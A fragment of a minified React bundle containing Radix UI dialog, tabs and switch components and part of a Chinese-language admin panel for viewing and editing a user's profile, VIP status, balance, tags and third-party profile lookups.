s.jsx(ht.button,{type:"button","aria-haspopup":"dialog","aria-expanded":a.open,"aria-controls":a.contentId,"data-state":Qx(a.open),...r,ref:i,onClick:ot(t.onClick,a.onOpenToggle)})});kR.displayName=_j;var Jx="DialogPortal",[SR,zj]=Dj(Jx,{forceMount:void 0}),$j=t=>{const{__scopeDialog:e,forceMount:n,children:r,container:a}=t,i=Ts(Jx,e);return s.jsx(SR,{scope:e,forceMount:n,children:b.Children.map(r,o=>s.jsx(gd,{present:n||i.open,children:s.jsx(qx,{asChild:!0,container:a,children:o})}))})};$j.displayName=Jx;var ph="DialogOverlay",Fj=b.forwardRef((t,e)=>{const n=zj(ph,t.__scopeDialog),{forceMount:r=n.forceMount,...a}=t,i=Ts(ph,t.__scopeDialog);return i.modal?s.jsx(gd,{present:r||i.open,children:s.jsx(ER,{...a,ref:e})}):null});Fj.displayName=ph;var CR=ed("DialogOverlay.RemoveScroll"),ER=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(ph,n);return s.jsx(Gx,{as:CR,allowPinchZoom:!0,shards:[a.contentRef],children:s.jsx(ht.div,{"data-state":Qx(a.open),...r,ref:e,style:{pointerEvents:"auto",...r.style}})})}),yo="DialogContent",Bj=b.forwardRef((t,e)=>{const n=zj(yo,t.__scopeDialog),{forceMount:r=n.forceMount,...a}=t,i=Ts(yo,t.__scopeDialog);return s.jsx(gd,{present:r||i.open,children:i.modal?s.jsx(TR,{...a,ref:e}):s.jsx(MR,{...a,ref:e})})});Bj.displayName=yo;var TR=b.forwardRef((t,e)=>{const n=Ts(yo,t.__scopeDialog),r=b.useRef(null),a=Ct(e,n.contentRef,r);return b.useEffect(()=>{const i=r.current;if(i)return Oj(i)},[]),s.jsx(Vj,{...t,ref:a,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:ot(t.onCloseAutoFocus,i=>{var o;i.preventDefault(),(o=n.triggerRef.current)==null||o.focus()}),onPointerDownOutside:ot(t.onPointerDownOutside,i=>{const o=i.detail.originalEvent,c=o.button===0&&o.ctrlKey===!0;(o.button===2||c)&&i.preventDefault()}),onFocusOutside:ot(t.onFocusOutside,i=>i.preventDefault())})}),MR=b.forwardRef((t,e)=>{const n=Ts(yo,t.__scopeDialog),r=b.useRef(!1),a=b.useRef(!1);return s.jsx(Vj,{...t,ref:e,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:i=>{var o,c;(o=t.onCloseAutoFocus)==null||o.call(t,i),i.defaultPrevented||(r.current||(c=n.triggerRef.current)==null||c.focus(),i.preventDefault()),r.current=!1,a.current=!1},onInteractOutside:i=>{var u,h;(u=t.onInteractOutside)==null||u.call(t,i),i.defaultPrevented||(r.current=!0,i.detail.originalEvent.type==="pointerdown"&&(a.current=!0));const o=i.target;((h=n.triggerRef.current)==null?void 0:h.contains(o))&&i.preventDefault(),i.detail.originalEvent.type==="focusin"&&a.current&&i.preventDefault()}})}),Vj=b.forwardRef((t,e)=>{const{__scopeDialog:n,trapFocus:r,onOpenAutoFocus:a,onCloseAutoFocus:i,...o}=t,c=Ts(yo,n),u=b.useRef(null),h=Ct(e,u);return Sj(),s.jsxs(s.Fragment,{children:[s.jsx(Kx,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:a,onUnmountAutoFocus:i,children:s.jsx(Ux,{role:"dialog",id:c.contentId,"aria-describedby":c.descriptionId,"aria-labelledby":c.titleId,"data-state":Qx(c.open),...o,ref:h,onDismiss:()=>c.onOpenChange(!1)})}),s.jsxs(s.Fragment,{children:[s.jsx(AR,{titleId:c.titleId}),s.jsx(RR,{contentRef:u,descriptionId:c.descriptionId})]})]})}),Yx="DialogTitle",Hj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Yx,n);return s.jsx(ht.h2,{id:a.titleId,...r,ref:e})});Hj.displayName=Yx;var Wj="DialogDescription",Uj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Wj,n);return s.jsx(ht.p,{id:a.descriptionId,...r,ref:e})});Uj.displayName=Wj;var Kj="DialogClose",qj=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(Kj,n);return s.jsx(ht.button,{type:"button",...r,ref:e,onClick:ot(t.onClick,()=>a.onOpenChange(!1))})});qj.displayName=Kj;function Qx(t){return t?"open":"closed"}var Gj="DialogTitleWarning",[qV,Jj]=aI(Gj,{contentName:yo,titleName:Yx,docsSlug:"dialog"}),AR=({titleId:t})=>{const e=Jj(Gj),n=`\`${e.contentName}\` requires a \`${e.titleName}\` for the component to be accessible for screen reader users. If you want to hide the \`${e.titleName}\`, you can wrap it with our VisuallyHidden component. -For more information, see https://radix-ui.com/primitives/docs/components/${e.docsSlug}`;return b.useEffect(()=>{t&&(document.getElementById(t)||console.error(n))},[n,t]),null},IR="DialogDescriptionWarning",RR=({contentRef:t,descriptionId:e})=>{const r=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${Jj(IR).contentName}}.`;return b.useEffect(()=>{var i;const a=(i=t.current)==null?void 0:i.getAttribute("aria-describedby");e&&a&&(document.getElementById(e)||console.warn(r))},[r,t,e]),null},PR=Lj,OR=$j,DR=Fj,LR=Bj,_R=Hj,zR=Uj,$R=qj;function Dt(t){return s.jsx(PR,{"data-slot":"dialog",...t})}function FR(t){return s.jsx(OR,{...t})}const Yj=b.forwardRef(({className:t,...e},n)=>s.jsx(DR,{ref:n,className:Et("fixed inset-0 z-50 bg-black/50",t),...e}));Yj.displayName="DialogOverlay";const At=b.forwardRef(({className:t,children:e,showCloseButton:n=!0,...r},a)=>s.jsxs(FR,{children:[s.jsx(Yj,{}),s.jsxs(LR,{ref:a,"aria-describedby":void 0,className:Et("fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 gap-4 rounded-lg border bg-background p-6 shadow-lg",t),...r,children:[e,n&&s.jsxs($R,{className:"absolute right-4 top-4 rounded-sm opacity-70 hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none",children:[s.jsx(ir,{className:"h-4 w-4"}),s.jsx("span",{className:"sr-only",children:"Close"})]})]})]}));At.displayName="DialogContent";function Lt({className:t,...e}){return s.jsx("div",{className:Et("flex flex-col gap-2 text-center sm:text-left",t),...e})}function on({className:t,...e}){return s.jsx("div",{className:Et("flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",t),...e})}function _t(t){return s.jsx(_R,{className:"text-lg font-semibold leading-none",...t})}function yf(t){return s.jsx(zR,{className:"text-sm text-muted-foreground",...t})}const BR=cj("inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 transition-colors",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground",secondary:"border-transparent bg-secondary text-secondary-foreground",destructive:"border-transparent bg-destructive text-white",outline:"text-foreground"}},defaultVariants:{variant:"default"}});function qe({className:t,variant:e,asChild:n=!1,...r}){const a=n?ij:"span";return s.jsx(a,{className:Et(BR({variant:e}),t),...r})}var VR=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],HR=VR.reduce((t,e)=>{const n=aj(`Primitive.${e}`),r=b.forwardRef((a,i)=>{const{asChild:o,...c}=a,u=o?n:e;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),s.jsx(u,{...c,ref:i})});return r.displayName=`Primitive.${e}`,{...t,[e]:r}},{}),WR="Label",Qj=b.forwardRef((t,e)=>s.jsx(HR.label,{...t,ref:e,onMouseDown:n=>{var a;n.target.closest("button, input, select, textarea")||((a=t.onMouseDown)==null||a.call(t,n),!n.defaultPrevented&&n.detail>1&&n.preventDefault())}}));Qj.displayName=WR;var Xj=Qj;const X=b.forwardRef(({className:t,...e},n)=>s.jsx(Xj,{ref:n,className:Et("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70",t),...e}));X.displayName=Xj.displayName;function Xx(t){const e=t+"CollectionProvider",[n,r]=Ei(e),[a,i]=n(e,{collectionRef:{current:null},itemMap:new Map}),o=w=>{const{scope:v,children:k}=w,C=br.useRef(null),E=br.useRef(new Map).current;return s.jsx(a,{scope:v,itemMap:E,collectionRef:C,children:k})};o.displayName=e;const c=t+"CollectionSlot",u=ed(c),h=br.forwardRef((w,v)=>{const{scope:k,children:C}=w,E=i(c,k),T=Ct(v,E.collectionRef);return s.jsx(u,{ref:T,children:C})});h.displayName=c;const f=t+"CollectionItemSlot",m="data-radix-collection-item",g=ed(f),y=br.forwardRef((w,v)=>{const{scope:k,children:C,...E}=w,T=br.useRef(null),I=Ct(v,T),O=i(f,k);return br.useEffect(()=>(O.itemMap.set(T,{ref:T,...E}),()=>void O.itemMap.delete(T))),s.jsx(g,{[m]:"",ref:I,children:C})});y.displayName=f;function N(w){const v=i(t+"CollectionConsumer",w);return br.useCallback(()=>{const C=v.collectionRef.current;if(!C)return[];const E=Array.from(C.querySelectorAll(`[${m}]`));return Array.from(v.itemMap.values()).sort((O,L)=>E.indexOf(O.ref.current)-E.indexOf(L.ref.current))},[v.collectionRef,v.itemMap])}return[{Provider:o,Slot:h,ItemSlot:y},N,r]}var UR=b.createContext(void 0);function bf(t){const e=b.useContext(UR);return t||e||"ltr"}var Fm="rovingFocusGroup.onEntryFocus",KR={bubbles:!1,cancelable:!0},xd="RovingFocusGroup",[Fg,Zj,qR]=Xx(xd),[GR,ek]=Ei(xd,[qR]),[JR,YR]=GR(xd),tk=b.forwardRef((t,e)=>s.jsx(Fg.Provider,{scope:t.__scopeRovingFocusGroup,children:s.jsx(Fg.Slot,{scope:t.__scopeRovingFocusGroup,children:s.jsx(QR,{...t,ref:e})})}));tk.displayName=xd;var QR=b.forwardRef((t,e)=>{const{__scopeRovingFocusGroup:n,orientation:r,loop:a=!1,dir:i,currentTabStopId:o,defaultCurrentTabStopId:c,onCurrentTabStopIdChange:u,onEntryFocus:h,preventScrollOnEntryFocus:f=!1,...m}=t,g=b.useRef(null),y=Ct(e,g),N=bf(i),[w,v]=xo({prop:o,defaultProp:c??null,onChange:u,caller:xd}),[k,C]=b.useState(!1),E=bi(h),T=Zj(n),I=b.useRef(!1),[O,L]=b.useState(0);return b.useEffect(()=>{const R=g.current;if(R)return R.addEventListener(Fm,E),()=>R.removeEventListener(Fm,E)},[E]),s.jsx(JR,{scope:n,orientation:r,dir:N,loop:a,currentTabStopId:w,onItemFocus:b.useCallback(R=>v(R),[v]),onItemShiftTab:b.useCallback(()=>C(!0),[]),onFocusableItemAdd:b.useCallback(()=>L(R=>R+1),[]),onFocusableItemRemove:b.useCallback(()=>L(R=>R-1),[]),children:s.jsx(ht.div,{tabIndex:k||O===0?-1:0,"data-orientation":r,...m,ref:y,style:{outline:"none",...t.style},onMouseDown:ot(t.onMouseDown,()=>{I.current=!0}),onFocus:ot(t.onFocus,R=>{const D=!I.current;if(R.target===R.currentTarget&&D&&!k){const _=new CustomEvent(Fm,KR);if(R.currentTarget.dispatchEvent(_),!_.defaultPrevented){const Z=T().filter(H=>H.focusable),ne=Z.find(H=>H.active),fe=Z.find(H=>H.id===w),$=[ne,fe,...Z].filter(Boolean).map(H=>H.ref.current);sk($,f)}}I.current=!1}),onBlur:ot(t.onBlur,()=>C(!1))})})}),nk="RovingFocusGroupItem",rk=b.forwardRef((t,e)=>{const{__scopeRovingFocusGroup:n,focusable:r=!0,active:a=!1,tabStopId:i,children:o,...c}=t,u=fi(),h=i||u,f=YR(nk,n),m=f.currentTabStopId===h,g=Zj(n),{onFocusableItemAdd:y,onFocusableItemRemove:N,currentTabStopId:w}=f;return b.useEffect(()=>{if(r)return y(),()=>N()},[r,y,N]),s.jsx(Fg.ItemSlot,{scope:n,id:h,focusable:r,active:a,children:s.jsx(ht.span,{tabIndex:m?0:-1,"data-orientation":f.orientation,...c,ref:e,onMouseDown:ot(t.onMouseDown,v=>{r?f.onItemFocus(h):v.preventDefault()}),onFocus:ot(t.onFocus,()=>f.onItemFocus(h)),onKeyDown:ot(t.onKeyDown,v=>{if(v.key==="Tab"&&v.shiftKey){f.onItemShiftTab();return}if(v.target!==v.currentTarget)return;const k=eP(v,f.orientation,f.dir);if(k!==void 0){if(v.metaKey||v.ctrlKey||v.altKey||v.shiftKey)return;v.preventDefault();let E=g().filter(T=>T.focusable).map(T=>T.ref.current);if(k==="last")E.reverse();else if(k==="prev"||k==="next"){k==="prev"&&E.reverse();const T=E.indexOf(v.currentTarget);E=f.loop?tP(E,T+1):E.slice(T+1)}setTimeout(()=>sk(E))}}),children:typeof o=="function"?o({isCurrentTabStop:m,hasTabStop:w!=null}):o})})});rk.displayName=nk;var XR={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function ZR(t,e){return e!=="rtl"?t:t==="ArrowLeft"?"ArrowRight":t==="ArrowRight"?"ArrowLeft":t}function eP(t,e,n){const r=ZR(t.key,n);if(!(e==="vertical"&&["ArrowLeft","ArrowRight"].includes(r))&&!(e==="horizontal"&&["ArrowUp","ArrowDown"].includes(r)))return XR[r]}function sk(t,e=!1){const n=document.activeElement;for(const r of t)if(r===n||(r.focus({preventScroll:e}),document.activeElement!==n))return}function tP(t,e){return t.map((n,r)=>t[(e+r)%t.length])}var nP=tk,rP=rk,vf="Tabs",[sP]=Ei(vf,[ek]),ak=ek(),[aP,Zx]=sP(vf),ik=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,onValueChange:a,defaultValue:i,orientation:o="horizontal",dir:c,activationMode:u="automatic",...h}=t,f=bf(c),[m,g]=xo({prop:r,onChange:a,defaultProp:i??"",caller:vf});return s.jsx(aP,{scope:n,baseId:fi(),value:m,onValueChange:g,orientation:o,dir:f,activationMode:u,children:s.jsx(ht.div,{dir:f,"data-orientation":o,...h,ref:e})})});ik.displayName=vf;var ok="TabsList",lk=b.forwardRef((t,e)=>{const{__scopeTabs:n,loop:r=!0,...a}=t,i=Zx(ok,n),o=ak(n);return s.jsx(nP,{asChild:!0,...o,orientation:i.orientation,dir:i.dir,loop:r,children:s.jsx(ht.div,{role:"tablist","aria-orientation":i.orientation,...a,ref:e})})});lk.displayName=ok;var ck="TabsTrigger",dk=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,disabled:a=!1,...i}=t,o=Zx(ck,n),c=ak(n),u=fk(o.baseId,r),h=pk(o.baseId,r),f=r===o.value;return s.jsx(rP,{asChild:!0,...c,focusable:!a,active:f,children:s.jsx(ht.button,{type:"button",role:"tab","aria-selected":f,"aria-controls":h,"data-state":f?"active":"inactive","data-disabled":a?"":void 0,disabled:a,id:u,...i,ref:e,onMouseDown:ot(t.onMouseDown,m=>{!a&&m.button===0&&m.ctrlKey===!1?o.onValueChange(r):m.preventDefault()}),onKeyDown:ot(t.onKeyDown,m=>{[" ","Enter"].includes(m.key)&&o.onValueChange(r)}),onFocus:ot(t.onFocus,()=>{const m=o.activationMode!=="manual";!f&&!a&&m&&o.onValueChange(r)})})})});dk.displayName=ck;var uk="TabsContent",hk=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,forceMount:a,children:i,...o}=t,c=Zx(uk,n),u=fk(c.baseId,r),h=pk(c.baseId,r),f=r===c.value,m=b.useRef(f);return b.useEffect(()=>{const g=requestAnimationFrame(()=>m.current=!1);return()=>cancelAnimationFrame(g)},[]),s.jsx(gd,{present:a||f,children:({present:g})=>s.jsx(ht.div,{"data-state":f?"active":"inactive","data-orientation":c.orientation,role:"tabpanel","aria-labelledby":u,hidden:!g,id:h,tabIndex:0,...o,ref:e,style:{...t.style,animationDuration:m.current?"0s":void 0},children:g&&i})})});hk.displayName=uk;function fk(t,e){return`${t}-trigger-${e}`}function pk(t,e){return`${t}-content-${e}`}var iP=ik,mk=lk,gk=dk,xk=hk;const yd=iP,Ll=b.forwardRef(({className:t,...e},n)=>s.jsx(mk,{ref:n,className:Et("inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground",t),...e}));Ll.displayName=mk.displayName;const Zt=b.forwardRef(({className:t,...e},n)=>s.jsx(gk,{ref:n,className:Et("inline-flex items-center justify-center whitespace-nowrap rounded-md px-3 py-1 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow",t),...e}));Zt.displayName=gk.displayName;const en=b.forwardRef(({className:t,...e},n)=>s.jsx(xk,{ref:n,className:Et("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",t),...e}));en.displayName=xk.displayName;function e0(t){const e=b.useRef({value:t,previous:t});return b.useMemo(()=>(e.current.value!==t&&(e.current.previous=e.current.value,e.current.value=t),e.current.previous),[t])}function t0(t){const[e,n]=b.useState(void 0);return or(()=>{if(t){n({width:t.offsetWidth,height:t.offsetHeight});const r=new ResizeObserver(a=>{if(!Array.isArray(a)||!a.length)return;const i=a[0];let o,c;if("borderBoxSize"in i){const u=i.borderBoxSize,h=Array.isArray(u)?u[0]:u;o=h.inlineSize,c=h.blockSize}else o=t.offsetWidth,c=t.offsetHeight;n({width:o,height:c})});return r.observe(t,{box:"border-box"}),()=>r.unobserve(t)}else n(void 0)},[t]),e}var Nf="Switch",[oP]=Ei(Nf),[lP,cP]=oP(Nf),yk=b.forwardRef((t,e)=>{const{__scopeSwitch:n,name:r,checked:a,defaultChecked:i,required:o,disabled:c,value:u="on",onCheckedChange:h,form:f,...m}=t,[g,y]=b.useState(null),N=Ct(e,E=>y(E)),w=b.useRef(!1),v=g?f||!!g.closest("form"):!0,[k,C]=xo({prop:a,defaultProp:i??!1,onChange:h,caller:Nf});return s.jsxs(lP,{scope:n,checked:k,disabled:c,children:[s.jsx(ht.button,{type:"button",role:"switch","aria-checked":k,"aria-required":o,"data-state":wk(k),"data-disabled":c?"":void 0,disabled:c,value:u,...m,ref:N,onClick:ot(t.onClick,E=>{C(T=>!T),v&&(w.current=E.isPropagationStopped(),w.current||E.stopPropagation())})}),v&&s.jsx(Nk,{control:g,bubbles:!w.current,name:r,value:u,checked:k,required:o,disabled:c,form:f,style:{transform:"translateX(-100%)"}})]})});yk.displayName=Nf;var bk="SwitchThumb",vk=b.forwardRef((t,e)=>{const{__scopeSwitch:n,...r}=t,a=cP(bk,n);return s.jsx(ht.span,{"data-state":wk(a.checked),"data-disabled":a.disabled?"":void 0,...r,ref:e})});vk.displayName=bk;var dP="SwitchBubbleInput",Nk=b.forwardRef(({__scopeSwitch:t,control:e,checked:n,bubbles:r=!0,...a},i)=>{const o=b.useRef(null),c=Ct(o,i),u=e0(n),h=t0(e);return b.useEffect(()=>{const f=o.current;if(!f)return;const m=window.HTMLInputElement.prototype,y=Object.getOwnPropertyDescriptor(m,"checked").set;if(u!==n&&y){const N=new Event("click",{bubbles:r});y.call(f,n),f.dispatchEvent(N)}},[u,n,r]),s.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...a,tabIndex:-1,ref:c,style:{...a.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});Nk.displayName=dP;function wk(t){return t?"checked":"unchecked"}var jk=yk,uP=vk;const kt=b.forwardRef(({className:t,...e},n)=>s.jsx(jk,{className:Et("peer inline-flex h-5 w-9 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent shadow-sm transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-[#38bdac] focus-visible:ring-offset-2 focus-visible:ring-offset-[#0a1628] disabled:cursor-not-allowed disabled:opacity-50 data-[state=unchecked]:bg-gray-600 data-[state=checked]:bg-[#38bdac]",t),...e,ref:n,children:s.jsx(uP,{className:Et("pointer-events-none block h-4 w-4 rounded-full bg-white shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-4 data-[state=unchecked]:translate-x-0")})}));kt.displayName=jk.displayName;function n0({open:t,onClose:e,userId:n,onUserUpdated:r}){var Is;const[a,i]=b.useState(null),[o,c]=b.useState([]),[u,h]=b.useState([]),[f,m]=b.useState(null),[g,y]=b.useState(!1),[N,w]=b.useState(!1),[v,k]=b.useState(!1),[C,E]=b.useState("info"),[T,I]=b.useState(""),[O,L]=b.useState(""),[R,D]=b.useState([]),[_,Z]=b.useState(""),[ne,fe]=b.useState(""),[xe,$]=b.useState(""),[H,oe]=b.useState(!1),[P,K]=b.useState({isVip:!1,vipExpireDate:"",vipRole:"",vipName:"",vipProject:"",vipContact:"",vipBio:""}),[V,z]=b.useState([]),[U,le]=b.useState(!1),[J,Y]=b.useState(""),[B,re]=b.useState(""),[ue,ce]=b.useState(!1),[ye,Re]=b.useState(!1),[Le,lt]=b.useState(null),[Tt,ln]=b.useState(null),[yt,nn]=b.useState(""),[In,Mt]=b.useState(""),[Yt,rn]=b.useState(""),[Rn,pr]=b.useState(!1),[Pn,Hn]=b.useState(null),[q,We]=b.useState("");b.useEffect(()=>{t&&n&&(E("info"),lt(null),ln(null),Hn(null),We(""),fe(""),$(""),Je(),De("/api/db/vip-roles").then(pe=>{pe!=null&&pe.success&&pe.data&&z(pe.data)}).catch(()=>{}))},[t,n]);async function Je(){if(n){y(!0);try{const pe=await De(`/api/db/users?id=${encodeURIComponent(n)}`);if(pe!=null&&pe.success&&pe.user){const ge=pe.user;i(ge),I(ge.phone||""),L(ge.nickname||""),nn(ge.phone||""),Mt(ge.wechatId||""),rn(ge.openId||"");try{D(typeof ge.tags=="string"?JSON.parse(ge.tags||"[]"):[])}catch{D([])}K({isVip:!!(ge.isVip??!1),vipExpireDate:ge.vipExpireDate?String(ge.vipExpireDate).slice(0,10):"",vipRole:String(ge.vipRole??""),vipName:String(ge.vipName??""),vipProject:String(ge.vipProject??""),vipContact:String(ge.vipContact??""),vipBio:String(ge.vipBio??"")})}try{const ge=await De(`/api/admin/user/track?userId=${encodeURIComponent(n)}&limit=50`);ge!=null&&ge.success&&ge.tracks&&c(ge.tracks)}catch{c([])}try{const ge=await De(`/api/db/users/referrals?userId=${encodeURIComponent(n)}`);ge!=null&&ge.success&&ge.referrals&&h(ge.referrals)}catch{h([])}try{const ge=await De(`/api/admin/users/${encodeURIComponent(n)}/balance`);ge!=null&&ge.success&&ge.data?m(ge.data):m(null)}catch{m(null)}}catch(pe){console.error("Load user detail error:",pe)}finally{y(!1)}}}async function xt(){if(!(a!=null&&a.phone)){ie.info("用户未绑定手机号,无法同步");return}w(!0);try{const pe=await vt("/api/ckb/sync",{action:"full_sync",phone:a.phone,userId:a.id});pe!=null&&pe.success?(ie.success("同步成功"),Je()):ie.error("同步失败: "+(pe==null?void 0:pe.error))}catch(pe){console.error("Sync CKB error:",pe),ie.error("同步失败")}finally{w(!1)}}async function ct(){if(a){if(P.isVip&&!P.vipExpireDate.trim()){ie.error("开启 VIP 请填写有效到期日");return}k(!0);try{const pe={id:a.id,phone:T||void 0,nickname:O||void 0,tags:JSON.stringify(R),isVip:P.isVip,vipExpireDate:P.isVip?P.vipExpireDate:void 0,vipRole:P.vipRole||void 0,vipName:P.vipName||void 0,vipProject:P.vipProject||void 0,vipContact:P.vipContact||void 0,vipBio:P.vipBio||void 0},ge=await zt("/api/db/users",pe);ge!=null&&ge.success?(ie.success("保存成功"),Je(),r==null||r()):ie.error("保存失败: "+(ge==null?void 0:ge.error))}catch(pe){console.error("Save user error:",pe),ie.error("保存失败")}finally{k(!1)}}}const nt=()=>{_&&!R.includes(_)&&(D([...R,_]),Z(""))},gt=pe=>D(R.filter(ge=>ge!==pe));async function Rt(){if(a){if(!ne){ie.error("请输入新密码");return}if(ne!==xe){ie.error("两次密码不一致");return}if(ne.length<6){ie.error("密码至少 6 位");return}oe(!0);try{const pe=await zt("/api/db/users",{id:a.id,password:ne});pe!=null&&pe.success?(ie.success("修改成功"),fe(""),$("")):ie.error("修改失败: "+((pe==null?void 0:pe.error)||""))}catch{ie.error("修改失败")}finally{oe(!1)}}}async function gn(){if(!a)return;const pe=parseFloat(J);if(Number.isNaN(pe)||pe===0){ie.error("请输入有效金额(正数增加、负数扣减)");return}ce(!0);try{const ge=await vt(`/api/admin/users/${a.id}/balance/adjust`,{amount:pe,remark:B||void 0});ge!=null&&ge.success?(ie.success("余额已调整"),le(!1),Y(""),re(""),Je(),r==null||r()):ie.error("调整失败: "+((ge==null?void 0:ge.error)||""))}catch{ie.error("调整失败")}finally{ce(!1)}}async function mr(){if(!yt&&!Yt&&!In){ln("请至少输入手机号、微信号或 OpenID 中的一项");return}Re(!0),ln(null),lt(null);try{const pe=new URLSearchParams;yt&&pe.set("phone",yt),Yt&&pe.set("openId",Yt),In&&pe.set("wechatId",In);const ge=await De(`/api/admin/shensheshou/query?${pe}`);ge!=null&&ge.success&&ge.data?(lt(ge.data),a&&await wr(ge.data)):ln((ge==null?void 0:ge.error)||"未查询到数据,该用户可能未在神射手收录")}catch(pe){console.error("SSS query error:",pe),ln("请求失败,请检查神射手接口配置")}finally{Re(!1)}}async function wr(pe){if(a)try{await vt("/api/admin/shensheshou/enrich",{userId:a.id,phone:yt||a.phone||"",openId:Yt||a.openId||"",wechatId:In||a.wechatId||""}),Je()}catch(ge){console.error("SSS enrich error:",ge)}}async function As(){if(a){pr(!0),Hn(null);try{const pe={users:[{phone:a.phone||"",name:a.nickname||"",openId:a.openId||"",tags:R}]},ge=await vt("/api/admin/shensheshou/ingest",pe);ge!=null&&ge.success&&ge.data?Hn(ge.data):Hn({error:(ge==null?void 0:ge.error)||"推送失败"})}catch(pe){console.error("SSS ingest error:",pe),Hn({error:"请求失败"})}finally{pr(!1)}}}const Wr=pe=>{const Pt={view_chapter:Br,purchase:Og,match:Zn,login:co,register:co,share:Ss,bind_phone:mA,bind_wechat:sA,fill_profile:zc,visit_page:ml}[pe]||Ag;return s.jsx(Pt,{className:"w-4 h-4"})};return t?s.jsxs(s.Fragment,{children:[s.jsx(Dt,{open:t,onOpenChange:()=>e(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-4xl max-h-[90vh] overflow-hidden",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(co,{className:"w-5 h-5 text-[#38bdac]"}),"用户详情",(a==null?void 0:a.phone)&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0 ml-2",children:"已绑定手机"}),(a==null?void 0:a.isVip)&&s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 border-0",children:"VIP"})]})}),g?s.jsxs("div",{className:"flex items-center justify-center py-20",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):a?s.jsxs("div",{className:"flex flex-col h-[75vh]",children:[s.jsxs("div",{className:"flex items-center gap-4 p-4 bg-[#0a1628] rounded-lg mb-3",children:[s.jsx("div",{className:"w-16 h-16 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-2xl text-[#38bdac] shrink-0",children:a.avatar?s.jsx("img",{src:a.avatar,className:"w-full h-full rounded-full object-cover",alt:""}):((Is=a.nickname)==null?void 0:Is.charAt(0))||"?"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[s.jsx("h3",{className:"text-lg font-bold text-white",children:a.nickname}),a.isAdmin&&s.jsx(qe,{className:"bg-purple-500/20 text-purple-400 border-0",children:"管理员"}),a.hasFullBook&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0",children:"全书已购"}),a.vipRole&&s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 border-0",children:a.vipRole})]}),s.jsxs("p",{className:"text-gray-400 text-sm mt-1",children:[a.phone?`📱 ${a.phone}`:"未绑定手机",a.wechatId&&` · 💬 ${a.wechatId}`,a.mbti&&` · ${a.mbti}`]}),s.jsxs("div",{className:"flex items-center gap-4 mt-1",children:[s.jsxs("p",{className:"text-gray-600 text-xs",children:["ID: ",a.id.slice(0,16),"…"]}),a.referralCode&&s.jsxs("p",{className:"text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"推广码:"}),s.jsx("code",{className:"text-[#38bdac] bg-[#38bdac]/10 px-1.5 py-0.5 rounded",children:a.referralCode})]})]})]}),s.jsxs("div",{className:"text-right shrink-0",children:[s.jsxs("p",{className:"text-[#38bdac] font-bold text-lg",children:["¥",(a.earnings||0).toFixed(2)]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"累计收益"})]})]}),s.jsxs(yd,{value:C,onValueChange:E,className:"flex-1 flex flex-col overflow-hidden",children:[s.jsxs(Ll,{className:"bg-[#0a1628] border border-gray-700/50 p-1 mb-3 flex-wrap h-auto gap-1",children:[s.jsx(Zt,{value:"info",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"基础信息"}),s.jsx(Zt,{value:"tags",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"标签体系"}),s.jsxs(Zt,{value:"journey",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:[s.jsx(ml,{className:"w-3 h-3 mr-1"}),"用户旅程"]}),s.jsx(Zt,{value:"relations",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:"关系链路"}),s.jsxs(Zt,{value:"shensheshou",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-xs",children:[s.jsx(li,{className:"w-3 h-3 